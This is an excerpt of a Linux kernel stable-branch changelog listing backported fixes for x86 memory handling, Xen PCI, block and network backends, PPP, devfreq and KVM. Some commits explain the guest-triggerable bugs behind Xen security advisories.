     CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
     CR2: 00007f7a4e3f7000 CR3: 00000000d3e71000 CR4: 00000000001406e0
     Call Trace:
       _raw_spin_lock+0x27/0x30
       handle_pte_fault+0x13db/0x16b0
       handle_mm_fault+0x312/0x670
       __do_page_fault+0x1b1/0x4e0
       do_page_fault+0x22/0x30
       page_fault+0x28/0x30
       __vfs_read+0x28/0xe0
       vfs_read+0x86/0x130
       SyS_read+0x46/0xa0
       entry_SYSCALL_64_fastpath+0x1e/0xa8
     Code: 12 48 c1 ea 0c 83 e8 01 83 e2 30 48 98 48 81 c2 40 6d 01 00 48 03 14 c5 80 6a 5d 82 48 89 0a 8b 41 08 85 c0 75 09 f3 90 8b 41 08 <85> c0 74 f7 4c 8b 09 4d 85 c9 74 08 41 0f 18 09 eb 02 f3 90 8b
    
    Reported-by: Łukasz Daniluk <lukasz.daniluk@intel.com>
    Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 1eae225e4386ce577234130cd7d89cbc615b468d
Author: Jiri Kosina <jkosina@suse.cz>
Date:   Fri Jul 8 11:38:28 2016 +0200

    x86/mm/pat, /dev/mem: Remove superfluous error message
    
    commit 39380b80d72723282f0ea1d1bbf2294eae45013e upstream.
    
    Currently it's possible for broken (or malicious) userspace to flood a
    kernel log indefinitely with messages a-la
    
            Program dmidecode tried to access /dev/mem between f0000->100000
    
    because range_is_allowed() is case of CONFIG_STRICT_DEVMEM being turned on
    dumps this information each and every time devmem_is_allowed() fails.
    
    Reportedly userspace that is able to trigger contignuous flow of these
    messages exists.
    
    It would be possible to rate limit this message, but that'd have a
    questionable value; the administrator wouldn't get information about all
    the failing accessess, so then the information would be both superfluous
    and incomplete at the same time :)
    
    Returning EPERM (which is what is actually happening) is enough indication
    for userspace what has happened; no need to log this particular error as
    some sort of special condition.
    
    Signed-off-by: Jiri Kosina <jkosina@suse.cz>
    Cc: Andrew Morton <akpm@linux-foundation.org>
    Cc: Andy Lutomirski <luto@kernel.org>
    Cc: Borislav Petkov <bp@alien8.de>
    Cc: Brian Gerst <brgerst@gmail.com>
    Cc: Denys Vlasenko <dvlasenk@redhat.com>
    Cc: H. Peter Anvin <hpa@zytor.com>
    Cc: Josh Poimboeuf <jpoimboe@redhat.com>
    Cc: Kees Cook <keescook@chromium.org>
    Cc: Linus Torvalds <torvalds@linux-foundation.org>
    Cc: Luis R. Rodriguez <mcgrof@suse.com>
    Cc: Peter Zijlstra <peterz@infradead.org>
    Cc: Thomas Gleixner <tglx@linutronix.de>
    Cc: Toshi Kani <toshi.kani@hp.com>
    Link: http://lkml.kernel.org/r/alpine.LNX.2.00.1607081137020.24757@cbobk.fhfr.pm
    Signed-off-by: Ingo Molnar <mingo@kernel.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 928a27752e51670cd282848e7cde8e2e1ac4ec19
Author: Wanpeng Li <wanpeng.li@hotmail.com>
Date:   Tue Aug 23 20:07:19 2016 +0800

    x86/apic: Do not init irq remapping if ioapic is disabled
    
    commit 2e63ad4bd5dd583871e6602f9d398b9322d358d9 upstream.
    
    native_smp_prepare_cpus
      -> default_setup_apic_routing
        -> enable_IR_x2apic
          -> irq_remapping_prepare
            -> intel_prepare_irq_remapping
              -> intel_setup_irq_remapping
    
    So IR table is setup even if "noapic" boot parameter is added. As a result we
    crash later when the interrupt affinity is set due to a half initialized
    remapping infrastructure.
    
    Prevent remap initialization when IOAPIC is disabled.
    
    Signed-off-by: Wanpeng Li <wanpeng.li@hotmail.com>
    Cc: Peter Zijlstra <peterz@infradead.org>
    Cc: Joerg Roedel <joro@8bytes.org>
    Link: http://lkml.kernel.org/r/1471954039-3942-1-git-send-email-wanpeng.li@hotmail.com
    Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit b591901eb885d9deaf74c088fd6c22f85511510a
Author: Sebastian Andrzej Siewior <bigeasy@linutronix.de>
Date:   Fri Aug 5 15:37:39 2016 +0200

    x86/mm: Disable preemption during CR3 read+write
    
    commit 5cf0791da5c162ebc14b01eb01631cfa7ed4fa6e upstream.
    
    There's a subtle preemption race on UP kernels:
    
    Usually current->mm (and therefore mm->pgd) stays the same during the
    lifetime of a task so it does not matter if a task gets preempted during
    the read and write of the CR3.
    
    But then, there is this scenario on x86-UP:
    
    TaskA is in do_exit() and exit_mm() sets current->mm = NULL followed by:
    
     -> mmput()
     -> exit_mmap()
     -> tlb_finish_mmu()
     -> tlb_flush_mmu()
     -> tlb_flush_mmu_tlbonly()
     -> tlb_flush()
     -> flush_tlb_mm_range()
     -> __flush_tlb_up()
     -> __flush_tlb()
     ->  __native_flush_tlb()
    
    At this point current->mm is NULL but current->active_mm still points to
    the "old" mm.
    
    Let's preempt taskA _after_ native_read_cr3() by taskB. TaskB has its
    own mm so CR3 has changed.
    
    Now preempt back to taskA. TaskA has no ->mm set so it borrows taskB's
    mm and so CR3 remains unchanged. Once taskA gets active it continues
    where it was interrupted and that means it writes its old CR3 value
    back. Everything is fine because userland won't need its memory
    anymore.
    
    Now the fun part:
    
    Let's preempt taskA one more time and get back to taskB. This
    time switch_mm() won't do a thing because oldmm (->active_mm)
    is the same as mm (as per context_switch()). So we remain
    with a bad CR3 / PGD and return to userland.
    
    The next thing that happens is handle_mm_fault() with an address for
    the execution of its code in userland. handle_mm_fault() realizes that
    it has a PTE with proper rights so it returns doing nothing. But the
    CPU looks at the wrong PGD and insists that something is wrong and
    faults again. And again. And one more time…
    
    This pagefault circle continues until the scheduler gets tired of it and
    puts another task on the CPU. It gets little difficult if the task is a
    RT task with a high priority. The system will either freeze or it gets
    fixed by the software watchdog thread which usually runs at RT-max prio.
    But waiting for the watchdog will increase the latency of the RT task
    which is no good.
    
    Fix this by disabling preemption across the critical code section.
    
    Signed-off-by: Sebastian Andrzej Siewior <bigeasy@linutronix.de>
    Acked-by: Peter Zijlstra (Intel) <peterz@infradead.org>
    Acked-by: Rik van Riel <riel@redhat.com>
    Acked-by: Andy Lutomirski <luto@kernel.org>
    Cc: Borislav Petkov <bp@alien8.de>
    Cc: Borislav Petkov <bp@suse.de>
    Cc: Brian Gerst <brgerst@gmail.com>
    Cc: Denys Vlasenko <dvlasenk@redhat.com>
    Cc: H. Peter Anvin <hpa@zytor.com>
    Cc: Josh Poimboeuf <jpoimboe@redhat.com>
    Cc: Linus Torvalds <torvalds@linux-foundation.org>
    Cc: Mel Gorman <mgorman@suse.de>
    Cc: Peter Zijlstra <a.p.zijlstra@chello.nl>
    Cc: Peter Zijlstra <peterz@infradead.org>
    Cc: Thomas Gleixner <tglx@linutronix.de>
    Cc: linux-mm@kvack.org
    Link: http://lkml.kernel.org/r/1470404259-26290-1-git-send-email-bigeasy@linutronix.de
    [ Prettified the changelog. ]
    Signed-off-by: Ingo Molnar <mingo@kernel.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 213060d93a85fb36b0f5eefed6111b0b89c63433
Author: Andy Lutomirski <luto@kernel.org>
Date:   Thu Dec 1 09:26:42 2016 -0800

    x86/traps: Ignore high word of regs->cs in early_idt_handler_common
    
    This is a backport of:
    commit fc0e81b2bea0ebceb71889b61d2240856141c9ee upstream
    
    On the 80486 DX, it seems that some exceptions may leave garbage in
    the high bits of CS.  This causes sporadic failures in which
    early_fixup_exception() refuses to fix up an exception.
    
    As far as I can tell, this has been buggy for a long time, but the
    problem seems to have been exacerbated by commits:
    
      1e02ce4cccdc ("x86: Store a per-cpu shadow copy of CR4")
      e1bfc11c5a6f ("x86/init: Fix cr4_init_shadow() on CR4-less machines")
    
    This appears to have broken for as long as we've had early
    exception handling.
    
    [ This backport should apply to kernels from 3.4 - 4.5. ]
    
    Fixes: 4c5023a3fa2e ("x86-32: Handle exception table entries during early boot")
    Cc: H. Peter Anvin <hpa@zytor.com>
    Cc: stable@vger.kernel.org
    Reported-by: Matthew Whitehead <tedheadster@gmail.com>
    Signed-off-by: Andy Lutomirski <luto@kernel.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 506750b71b422b278be54a4645414affc7bf19d5
Author: Juergen Gross <jgross@suse.com>
Date:   Thu Jun 23 07:12:27 2016 +0200

    x86/xen: fix upper bound of pmd loop in xen_cleanhighmap()
    
    commit 1cf38741308c64d08553602b3374fb39224eeb5a upstream.
    
    xen_cleanhighmap() is operating on level2_kernel_pgt only. The upper
    bound of the loop setting non-kernel-image entries to zero should not
    exceed the size of level2_kernel_pgt.
    
    Reported-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Juergen Gross <jgross@suse.com>
    Signed-off-by: David Vrabel <david.vrabel@citrix.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit f014225af8ed6adf75035e9dd76d82874854bf0f
Author: Ben Hutchings <ben@decadent.org.uk>
Date:   Mon Apr 13 00:26:35 2015 +0100

    xen-pciback: Add name prefix to global 'permissive' variable
    
    commit 8014bcc86ef112eab9ee1db312dba4e6b608cf89 upstream.
    
    The variable for the 'permissive' module parameter used to be static
    but was recently changed to be extern.  This puts it in the kernel
    global namespace if the driver is built-in, so its name should begin
    with a prefix identifying the driver.
    
    Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
    Fixes: af6fc858a35b ("xen-pciback: limit guest control of command register")
    Signed-off-by: David Vrabel <david.vrabel@citrix.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 1d9d642c16d2bd551f74a77901066d1ce2541768
Author: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>
Date:   Mon Nov 2 18:13:27 2015 -0500

    xen/pciback: Don't allow MSI-X ops if PCI_COMMAND_MEMORY is not set.
    
    commit 408fb0e5aa7fda0059db282ff58c3b2a4278baa0 upstream.
    
    commit f598282f51 ("PCI: Fix the NIU MSI-X problem in a better way")
    teaches us that dealing with MSI-X can be troublesome.
    
    Further checks in the MSI-X architecture shows that if the
    PCI_COMMAND_MEMORY bit is turned of in the PCI_COMMAND we
    may not be able to access the BAR (since they are memory regions).
    
    Since the MSI-X tables are located in there.. that can lead
    to us causing PCIe errors. Inhibit us performing any
    operation on the MSI-X unless the MEMORY bit is set.
    
    Note that Xen hypervisor with:
    "x86/MSI-X: access MSI-X table only after having enabled MSI-X"
    will return:
    xen_pciback: 0000:0a:00.1: error -6 enabling MSI-X for guest 3!
    
    When the generic MSI code tries to setup the PIRQ without
    MEMORY bit set. Which means with later versions of Xen
    (4.6) this patch is not neccessary.
    
    This is part of XSA-157
    
    Reviewed-by: Jan Beulich <jbeulich@suse.com>
    Signed-off-by: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 4c2e2fd22095d210b8ec2db4f82cdd0a1c8e49a6
Author: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>
Date:   Wed Apr 1 10:49:47 2015 -0400

    xen/pciback: For XEN_PCI_OP_disable_msi[|x] only disable if device has MSI(X) enabled.
    
    commit 7cfb905b9638982862f0331b36ccaaca5d383b49 upstream.
    
    Otherwise just continue on, returning the same values as
    previously (return of 0, and op->result has the PIRQ value).
    
    This does not change the behavior of XEN_PCI_OP_disable_msi[|x].
    
    The pci_disable_msi or pci_disable_msix have the checks for
    msi_enabled or msix_enabled so they will error out immediately.
    
    However the guest can still call these operations and cause
    us to disable the 'ack_intr'. That means the backend IRQ handler
    for the legacy interrupt will not respond to interrupts anymore.
    
    This will lead to (if the device is causing an interrupt storm)
    for the Linux generic code to disable the interrupt line.
    
    Naturally this will only happen if the device in question
    is plugged in on the motherboard on shared level interrupt GSI.
    
    This is part of XSA-157
    
    Reviewed-by: David Vrabel <david.vrabel@citrix.com>
    Signed-off-by: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 5701f8a13c9bde54f047cfcad6f527e97eef6d4e
Author: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>
Date:   Mon Nov 2 17:24:08 2015 -0500

    xen/pciback: Do not install an IRQ handler for MSI interrupts.
    
    commit a396f3a210c3a61e94d6b87ec05a75d0be2a60d0 upstream.
    
    Otherwise an guest can subvert the generic MSI code to trigger
    an BUG_ON condition during MSI interrupt freeing:
    
     for (i = 0; i < entry->nvec_used; i++)
            BUG_ON(irq_has_action(entry->irq + i));
    
    Xen PCI backed installs an IRQ handler (request_irq) for
    the dev->irq whenever the guest writes PCI_COMMAND_MEMORY
    (or PCI_COMMAND_IO) to the PCI_COMMAND register. This is
    done in case the device has legacy interrupts the GSI line
    is shared by the backend devices.
    
    To subvert the backend the guest needs to make the backend
    to change the dev->irq from the GSI to the MSI interrupt line,
    make the backend allocate an interrupt handler, and then command
    the backend to free the MSI interrupt and hit the BUG_ON.
    
    Since the backend only calls 'request_irq' when the guest
    writes to the PCI_COMMAND register the guest needs to call
    XEN_PCI_OP_enable_msi before any other operation. This will
    cause the generic MSI code to setup an MSI entry and
    populate dev->irq with the new PIRQ value.
    
    Then the guest can write to PCI_COMMAND PCI_COMMAND_MEMORY
    and cause the backend to setup an IRQ handler for dev->irq
    (which instead of the GSI value has the MSI pirq). See
    'xen_pcibk_control_isr'.
    
    Then the guest disables the MSI: XEN_PCI_OP_disable_msi
    which ends up triggering the BUG_ON condition in 'free_msi_irqs'
    as there is an IRQ handler for the entry->irq (dev->irq).
    
    Note that this cannot be done using MSI-X as the generic
    code does not over-write dev->irq with the MSI-X PIRQ values.
    
    The patch inhibits setting up the IRQ handler if MSI or
    MSI-X (for symmetry reasons) code had been called successfully.
    
    P.S.
    Xen PCIBack when it sets up the device for the guest consumption
    ends up writting 0 to the PCI_COMMAND (see xen_pcibk_reset_device).
    XSA-120 addendum patch removed that - however when upstreaming said
    addendum we found that it caused issues with qemu upstream. That
    has now been fixed in qemu upstream.
    
    This is part of XSA-157
    
    Reviewed-by: David Vrabel <david.vrabel@citrix.com>
    Signed-off-by: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit d2dfdbabdd47195c766e58f6455cf51b924e32ad
Author: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>
Date:   Mon Nov 2 18:07:44 2015 -0500

    xen/pciback: Return error on XEN_PCI_OP_enable_msix when device has MSI or MSI-X enabled
    
    commit 5e0ce1455c09dd61d029b8ad45d82e1ac0b6c4c9 upstream.
    
    The guest sequence of:
    
      a) XEN_PCI_OP_enable_msix
      b) XEN_PCI_OP_enable_msix
    
    results in hitting an NULL pointer due to using freed pointers.
    
    The device passed in the guest MUST have MSI-X capability.
    
    The a) constructs and SysFS representation of MSI and MSI groups.
    The b) adds a second set of them but adding in to SysFS fails (duplicate entry).
    'populate_msi_sysfs' frees the newly allocated msi_irq_groups (note that
    in a) pdev->msi_irq_groups is still set) and also free's ALL of the
    MSI-X entries of the device (the ones allocated in step a) and b)).
    
    The unwind code: 'free_msi_irqs' deletes all the entries and tries to
    delete the pdev->msi_irq_groups (which hasn't been set to NULL).
    However the pointers in the SysFS are already freed and we hit an
    NULL pointer further on when 'strlen' is attempted on a freed pointer.
    
    The patch adds a simple check in the XEN_PCI_OP_enable_msix to guard
    against that. The check for msi_enabled is not stricly neccessary.
    
    This is part of XSA-157
    
    Reviewed-by: David Vrabel <david.vrabel@citrix.com>
    Reviewed-by: Jan Beulich <jbeulich@suse.com>
    Signed-off-by: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 871e37be4fe84ec58c33116701b740c6cf675f50
Author: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>
Date:   Fri Apr 3 11:08:22 2015 -0400

    xen/pciback: Return error on XEN_PCI_OP_enable_msi when device has MSI or MSI-X enabled
    
    commit 56441f3c8e5bd45aab10dd9f8c505dd4bec03b0d upstream.
    
    The guest sequence of:
    
     a) XEN_PCI_OP_enable_msi
     b) XEN_PCI_OP_enable_msi
     c) XEN_PCI_OP_disable_msi
    
    results in hitting an BUG_ON condition in the msi.c code.
    
    The MSI code uses an dev->msi_list to which it adds MSI entries.
    Under the above conditions an BUG_ON() can be hit. The device
    passed in the guest MUST have MSI capability.
    
    The a) adds the entry to the dev->msi_list and sets msi_enabled.
    The b) adds a second entry but adding in to SysFS fails (duplicate entry)
    and deletes all of the entries from msi_list and returns (with msi_enabled
    is still set).  c) pci_disable_msi passes the msi_enabled checks and hits:
    
    BUG_ON(list_empty(dev_to_msi_list(&dev->dev)));
    
    and blows up.
    
    The patch adds a simple check in the XEN_PCI_OP_enable_msi to guard
    against that. The check for msix_enabled is not stricly neccessary.
    
    This is part of XSA-157.
    
    Reviewed-by: David Vrabel <david.vrabel@citrix.com>
    Reviewed-by: Jan Beulich <jbeulich@suse.com>
    Signed-off-by: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 2801814294bae5fd16ac07822a0e074b7e188f52
Author: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>
Date:   Thu Feb 11 16:10:24 2016 -0500

    xen/pciback: Save the number of MSI-X entries to be copied later.
    
    commit d159457b84395927b5a52adb72f748dd089ad5e5 upstream.
    
    Commit 8135cf8b092723dbfcc611fe6fdcb3a36c9951c5 (xen/pciback: Save
    xen_pci_op commands before processing it) broke enabling MSI-X because
    it would never copy the resulting vectors into the response.  The
    number of vectors requested was being overwritten by the return value
    (typically zero for success).
    
    Save the number of vectors before processing the op, so the correct
    number of vectors are copied afterwards.
    
    Signed-off-by: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>
    Cc: <stable@vger.kernel.org>
    Reviewed-by: Jan Beulich <jbeulich@suse.com>
    Signed-off-by: David Vrabel <david.vrabel@citrix.com>
    Cc: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit ffb6bca6899f85c6c8b1609aeac3e004d18f8071
Author: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>
Date:   Mon Nov 16 12:40:48 2015 -0500

    xen/pciback: Save xen_pci_op commands before processing it
    
    commit 8135cf8b092723dbfcc611fe6fdcb3a36c9951c5 upstream.
    
    Double fetch vulnerabilities that happen when a variable is
    fetched twice from shared memory but a security check is only
    performed the first time.
    
    The xen_pcibk_do_op function performs a switch statements on the op->cmd
    value which is stored in shared memory. Interestingly this can result
    in a double fetch vulnerability depending on the performed compiler
    optimization.
    
    This patch fixes it by saving the xen_pci_op command before
    processing it. We also use 'barrier' to make sure that the
    compiler does not perform any optimization.
    
    This is part of XSA155.
    
    Reviewed-by: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>
    Signed-off-by: Jan Beulich <JBeulich@suse.com>
    Signed-off-by: David Vrabel <david.vrabel@citrix.com>
    Signed-off-by: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>
    Cc: "Jan Beulich" <JBeulich@suse.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit d6837064ef1e8d3edca4d4848e12e4e905f4039a
Author: Roger Pau Monné <roger.pau@citrix.com>
Date:   Tue Nov 3 16:34:09 2015 +0000

    xen-blkback: only read request operation from shared ring once
    
    commit 1f13d75ccb806260079e0679d55d9253e370ec8a upstream.
    
    A compiler may load a switch statement value multiple times, which could
    be bad when the value is in memory shared with the frontend.
    
    When converting a non-native request to a native one, ensure that
    src->operation is only loaded once by using READ_ONCE().
    
    This is part of XSA155.
    
    Signed-off-by: Roger Pau Monné <roger.pau@citrix.com>
    Signed-off-by: David Vrabel <david.vrabel@citrix.com>
    Signed-off-by: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>
    Cc: "Jan Beulich" <JBeulich@suse.com>
    [wt: s/READ_ONCE/ACCESS_ONCE for 3.10]
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 67434d33afc97f2f99b8889c110d190dedefda44
Author: David Vrabel <david.vrabel@citrix.com>
Date:   Fri Oct 30 15:17:06 2015 +0000

    xen-netback: use RING_COPY_REQUEST() throughout
    
    commit 68a33bfd8403e4e22847165d149823a2e0e67c9c upstream.
    
    Instead of open-coding memcpy()s and directly accessing Tx and Rx
    requests, use the new RING_COPY_REQUEST() that ensures the local copy
    is correct.
    
    This is more than is strictly necessary for guest Rx requests since
    only the id and gref fields are used and it is harmless if the
    frontend modifies these.
    
    This is part of XSA155.
    
    Reviewed-by: Wei Liu <wei.liu2@citrix.com>
    Signed-off-by: David Vrabel <david.vrabel@citrix.com>
    Signed-off-by: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>
    [wt: adjustments for 3.10 : netbk_rx_meta instead of struct xenvif_rx_meta]
    
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 85fed7d24f020390aabb1b09e5fecfe5536bfb16
Author: David Vrabel <david.vrabel@citrix.com>
Date:   Fri Oct 30 15:16:01 2015 +0000

    xen-netback: don't use last request to determine minimum Tx credit
    
    commit 0f589967a73f1f30ab4ac4dd9ce0bb399b4d6357 upstream.
    
    The last from guest transmitted request gives no indication about the
    minimum amount of credit that the guest might need to send a packet
    since the last packet might have been a small one.
    
    Instead allow for the worst case 128 KiB packet.
    
    This is part of XSA155.
    
    Reviewed-by: Wei Liu <wei.liu2@citrix.com>
    Signed-off-by: David Vrabel <david.vrabel@citrix.com>
    Signed-off-by: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 0a5b4e4cf2486558406280439157e5518a4b088d
Author: David Vrabel <david.vrabel@citrix.com>
Date:   Fri Oct 30 14:58:08 2015 +0000

    xen: Add RING_COPY_REQUEST()
    
    commit 454d5d882c7e412b840e3c99010fe81a9862f6fb upstream.
    
    Using RING_GET_REQUEST() on a shared ring is easy to use incorrectly
    (i.e., by not considering that the other end may alter the data in the
    shared ring while it is being inspected).  Safe usage of a request
    generally requires taking a local copy.
    
    Provide a RING_COPY_REQUEST() macro to use instead of
    RING_GET_REQUEST() and an open-coded memcpy().  This takes care of
    ensuring that the copy is done correctly regardless of any possible
    compiler optimizations.
    
    Use a volatile source to prevent the compiler from reordering or
    omitting the copy.
    
    This is part of XSA155.
    
    Signed-off-by: David Vrabel <david.vrabel@citrix.com>
    Signed-off-by: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 0679df0fff349dd7e8d3d7fb3e162bdf6949c873
Author: Jan Beulich <JBeulich@suse.com>
Date:   Thu Apr 21 00:27:04 2016 -0600

    x86/mm/xen: Suppress hugetlbfs in PV guests
    
    commit 103f6112f253017d7062cd74d17f4a514ed4485c upstream.
    
    Huge pages are not normally available to PV guests. Not suppressing
    hugetlbfs use results in an endless loop of page faults when user mode
    code tries to access a hugetlbfs mapped area (since the hypervisor
    denies such PTEs to be created, but error indications can't be
    propagated out of xen_set_pte_at(), just like for various of its
    siblings), and - once killed in an oops like this:
    
      kernel BUG at .../fs/hugetlbfs/inode.c:428!
      invalid opcode: 0000 [#1] SMP
      ...
      RIP: e030:[<ffffffff811c333b>]  [<ffffffff811c333b>] remove_inode_hugepages+0x25b/0x320
      ...
      Call Trace:
       [<ffffffff811c3415>] hugetlbfs_evict_inode+0x15/0x40
       [<ffffffff81167b3d>] evict+0xbd/0x1b0
       [<ffffffff8116514a>] __dentry_kill+0x19a/0x1f0
       [<ffffffff81165b0e>] dput+0x1fe/0x220
       [<ffffffff81150535>] __fput+0x155/0x200
       [<ffffffff81079fc0>] task_work_run+0x60/0xa0
       [<ffffffff81063510>] do_exit+0x160/0x400
       [<ffffffff810637eb>] do_group_exit+0x3b/0xa0
       [<ffffffff8106e8bd>] get_signal+0x1ed/0x470
       [<ffffffff8100f854>] do_signal+0x14/0x110
       [<ffffffff810030e9>] prepare_exit_to_usermode+0xe9/0xf0
       [<ffffffff814178a5>] retint_user+0x8/0x13
    
    This is CVE-2016-3961 / XSA-174.
    
    Reported-by: Vitaly Kuznetsov <vkuznets@redhat.com>
    Signed-off-by: Jan Beulich <jbeulich@suse.com>
    Cc: Andrew Morton <akpm@linux-foundation.org>
    Cc: Andy Lutomirski <luto@amacapital.net>
    Cc: Boris Ostrovsky <boris.ostrovsky@oracle.com>
    Cc: Borislav Petkov <bp@alien8.de>
    Cc: Brian Gerst <brgerst@gmail.com>
    Cc: David Vrabel <david.vrabel@citrix.com>
    Cc: Denys Vlasenko <dvlasenk@redhat.com>
    Cc: H. Peter Anvin <hpa@zytor.com>
    Cc: Juergen Gross <JGross@suse.com>
    Cc: Linus Torvalds <torvalds@linux-foundation.org>
    Cc: Luis R. Rodriguez <mcgrof@suse.com>
    Cc: Peter Zijlstra <peterz@infradead.org>
    Cc: Thomas Gleixner <tglx@linutronix.de>
    Cc: Toshi Kani <toshi.kani@hp.com>
    Cc: xen-devel <xen-devel@lists.xenproject.org>
    Link: http://lkml.kernel.org/r/57188ED802000078000E431C@prv-mh.provo.novell.com
    Signed-off-by: Ingo Molnar <mingo@kernel.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 068b35e923cd27bad171e4031e4963c3c8ee2170
Author: WANG Cong <xiyou.wangcong@gmail.com>
Date:   Tue Jul 5 22:12:36 2016 -0700

    ppp: defer netns reference release for ppp channel
    
    commit 205e1e255c479f3fd77446415706463b282f94e4 upstream
    
    Matt reported that we have a NULL pointer dereference
    in ppp_pernet() from ppp_connect_channel(),
    i.e. pch->chan_net is NULL.
    
    This is due to that a parallel ppp_unregister_channel()
    could happen while we are in ppp_connect_channel(), during
    which pch->chan_net set to NULL. Since we need a reference
    to net per channel, it makes sense to sync the refcnt
    with the life time of the channel, therefore we should
    release this reference when we destroy it.
    
    Fixes: 1f461dcdd296 ("ppp: take reference on channels netns")
    Reported-by: Matt Bennett <Matt.Bennett@alliedtelesis.co.nz>
    Cc: Paul Mackerras <paulus@samba.org>
    Cc: linux-ppp@vger.kernel.org
    Cc: Guillaume Nault <g.nault@alphalink.fr>
    Cc: Cyrill Gorcunov <gorcunov@openvz.org>
    Signed-off-by: Cong Wang <xiyou.wangcong@gmail.com>
    Reviewed-by: Cyrill Gorcunov <gorcunov@openvz.org>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 6e5ae963b52851a86c038993d167df2a946290cf
Author: Xiaolong Ye <yexl@marvell.com>
Date:   Fri Sep 11 11:05:23 2015 +0800

    PM / devfreq: Fix incorrect type issue.
    
    commit 5f25f066f75a67835abb5e400471a27abd09395b upstream
    
    time_in_state in struct devfreq is defined as unsigned long, so
    devm_kzalloc should use sizeof(unsigned long) as argument instead
    of sizeof(unsigned int), otherwise it will cause unexpected result
    in 64bit system.
    
    Signed-off-by: Xiaolong Ye <yexl@marvell.com>
    Signed-off-by: Kevin Liu <kliu5@marvell.com>
    Signed-off-by: MyungJoo Ham <myungjoo.ham@samsung.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 01c2288236820005b4f5c7c57609e2e087c98a55
Author: Ignacio Alvarado <ikalvarado@google.com>
Date:   Fri Nov 4 12:15:55 2016 -0700

    KVM: Disable irq while unregistering user notifier
    
    commit 1650b4ebc99da4c137bfbfc531be4a2405f951dd upstream.
    
    Function user_notifier_unregister should be called only once for each
    registered user notifier.
    
    Function kvm_arch_hardware_disable can be executed from an IPI context
    which could cause a race condition with a VCPU returning to user mode
    and attempting to unregister the notifier.
    
    Signed-off-by: Ignacio Alvarado <ikalvarado@google.com>
    Fixes: 18863bdd60f8 ("KVM: x86 shared msr infrastructure")
    Reviewed-by: Paolo Bonzini <pbonzini@redhat.com>
    Signed-off-by: Radim Krčmář <rkrcmar@redhat.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 014db7f6682a83765c01dc21dadce26a776b1108
Author: Paolo Bonzini <pbonzini@redhat.com>
Date:   Thu Nov 17 15:55:46 2016 +0100

    KVM: x86: fix missed SRCU usage in kvm_lapic_set_vapic_addr
    
    commit 7301d6abaea926d685832f7e1f0c37dd206b01f4 upstream.
    
    Reported by syzkaller:
    
        [ INFO: suspicious RCU usage. ]
        4.9.0-rc4+ #47 Not tainted
        -------------------------------
        ./include/linux/kvm_host.h:536 suspicious rcu_dereference_check() usage!
    
        stack backtrace:
        CPU: 1 PID: 6679 Comm: syz-executor Not tainted 4.9.0-rc4+ #47
        Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011
         ffff880039e2f6d0 ffffffff81c2e46b ffff88003e3a5b40 0000000000000000
         0000000000000001 ffffffff83215600 ffff880039e2f700 ffffffff81334ea9
         ffffc9000730b000 0000000000000004 ffff88003c4f8420 ffff88003d3f8000
        Call Trace:
         [<     inline     >] __dump_stack lib/dump_stack.c:15
         [<ffffffff81c2e46b>] dump_stack+0xb3/0x118 lib/dump_stack.c:51
         [<ffffffff81334ea9>] lockdep_rcu_suspicious+0x139/0x180 kernel/locking/lockdep.c:4445
         [<     inline     >] __kvm_memslots include/linux/kvm_host.h:534
         [<     inline     >] kvm_memslots include/linux/kvm_host.h:541
         [<ffffffff8105d6ae>] kvm_gfn_to_hva_cache_init+0xa1e/0xce0 virt/kvm/kvm_main.c:1941
         [<ffffffff8112685d>] kvm_lapic_set_vapic_addr+0xed/0x140 arch/x86/kvm/lapic.c:2217
    
    Reported-by: Dmitry Vyukov <dvyukov@google.com>
    Fixes: fda4e2e85589191b123d31cdc21fd33ee70f50fd
    Cc: Andrew Honig <ahonig@google.com>
    Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
